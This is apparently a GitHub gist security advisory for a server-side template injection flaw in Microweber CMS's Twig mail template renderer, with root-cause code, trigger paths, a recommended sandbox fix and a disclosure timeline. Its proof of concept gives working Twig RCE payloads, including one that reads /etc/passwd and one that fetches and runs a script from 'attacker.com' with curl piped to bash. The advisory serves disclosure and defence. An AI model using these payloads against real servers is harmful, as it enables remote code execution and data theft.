Skip to content

Instantly share code, notes, and snippets.

@W40X
Last active July 23, 2026 22:42
Show Gist options
  • Select an option

  • Save W40X/584f4b088d310bc5280cc74bbf97831a to your computer and use it in GitHub Desktop.

Select an option

Save W40X/584f4b088d310bc5280cc74bbf97831a to your computer and use it in GitHub Desktop.
CVE-2026-65693 — Microweber CMS SSTI via Unsandboxed Twig Mail Template Renderer

CVE-2026-65693 — Microweber CMS: Server-Side Template Injection via Unsandboxed Twig Mail Template Renderer

CVE ID: CVE-2026-65693
Product: Microweber CMS
Repository: https://github.com/microweber/microweber
Affected Versions: All versions up to and including v2.0.20 (latest tag as of 2026-07)
Vulnerability Type: Server-Side Template Injection (SSTI) → Remote Code Execution
CVSS 3.1 Score: 8.0 HIGH
CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE: CWE-94 (Improper Control of Generation of Code), CWE-1336 (Improper Neutralization of Special Elements in Template Engine)
Discovered: 2026-07-15
Disclosed: 2026-07-23
CVE Assigned by: VulnCheck

Package: microweber/microweber

Tested Versions: 2.0.20

Reporter: Reju Kole

CVSS 3.1: 8.0 HIGH (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-94 (Improper Control of Generation of Code)


Summary

Microweber CMS uses a custom TwigView class to render admin-editable email and notification templates. This class instantiates a Twig\Environment with ArrayLoader but never adds SandboxExtension. Because admin-controlled template content is rendered as raw Twig without any restriction, an attacker with admin access can inject Twig expressions that abuse PHP function filters to achieve persistent Remote Code Execution on every event that triggers a notification.


Root Cause

File 1 — src/MicroweberPackages/View/TwigView.php (lines 7–18)

The central render helper creates an unsandboxed Twig environment:

public function render($html, array $data = [], $options = []) {
    $key = md5($html);
    $loader = new \Twig\Loader\ArrayLoader([$key => $html]);
    $twig   = new \Twig\Environment($loader, $options);  // ← no SandboxExtension
    return $twig->render($key, $data);
}

File 2 — src/MicroweberPackages/Checkout/CheckoutManager.php (lines 1036–1040)

The same unsandboxed pattern is duplicated inline for order confirmation emails:

$loader             = new ArrayLoader(['checkout_mail.html' => $order_email_content]);
$twig               = new Environment($loader);  // ← no SandboxExtension
$order_email_content = $twig->render('checkout_mail.html', [...]);

File 3 — userfiles/modules/admin/mail_templates/functions.php (line 157)

Mail template content is stored to the database with zero sanitization:

$findMailTemplate->message = $data['message'];  // ← raw, unsanitized

Trigger paths (all use the unsandboxed renderer)

File Line Trigger event
CheckoutManager.php 1036 Bank transfer order confirmation
NewOrderNotification.php 96 Any paid order
NewFormEntryAutoRespond.php 98 Contact form with autorespond enabled
UserManager.php 683 User registration email
NewRegistration.php 61 New user registration notification

Proof of Concept

Step 1 — Store SSTI payload in a mail template

POST /api/save_mail_template HTTP/1.1
Host: victim.example.com
Cookie: <admin_session_cookie>
Content-Type: application/x-www-form-urlencoded

type=new_order&name=Order+Confirmation&subject=Your+order&message={{['id']|filter('system')}}

Step 2 — Trigger the template

Place any order (bank transfer) or submit a contact form configured with autorespond. The Twig environment renders the stored template body without sandboxing.

Step 3 — RCE confirmed

The rendered email body (or HTTP response if a test-send endpoint is used) contains the shell output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Alternative RCE payloads

{{['cat /etc/passwd']|filter('shell_exec')}}

{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}

{{['curl http://attacker.com/shell.sh|bash']|filter('passthru')}}

Impact

  • Persistent RCE — payload fires on every matching event (order, registration, form submission) until removed
  • File system access — read/write arbitrary files as the web server user
  • Database credential extraction — access CMS config files and .env
  • Webshell deployment — write a persistent backdoor to the webroot
  • Privilege escalation — if web server runs as a privileged user, full system compromise

Any administrator with access to the notification template editor can establish persistence affecting all site visitors who generate notification events.


Recommended Fix

Add SandboxExtension with a strict allowlist to TwigView::render() and every inline Environment instantiation:

use Twig\Sandbox\SecurityPolicy;
use Twig\Extension\SandboxExtension;

$policy = new SecurityPolicy(
    ['for', 'if'],         // allowed tags
    ['upper', 'lower', 'date', 'escape'],  // allowed filters
    [],                    // allowed methods
    [],                    // allowed properties
    ['range', 'date']      // allowed functions
);

$twig->addExtension(new SandboxExtension($policy, true));

Alternatively, replace the Twig renderer entirely with a simple variable substitution approach (e.g., str_replace) that does not support arbitrary code execution.


Disclosure Timeline

Date Event
2026-07-15 Vulnerability discovered via static analysis
2026-07-15 Report submitted to VulnCheck
2026-07-23 CVE-2026-65693 assigned by VulnCheck
2026-07-23 Public disclosure (project abandoned — no active maintainer)

Note: The Microweber CMS GitHub repository has not received a commit in nearly a year and the official website returns HTTP 403. The project is considered abandoned. VulnCheck confirmed public disclosure is appropriate and will publish the CVE record following this disclosure.


References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment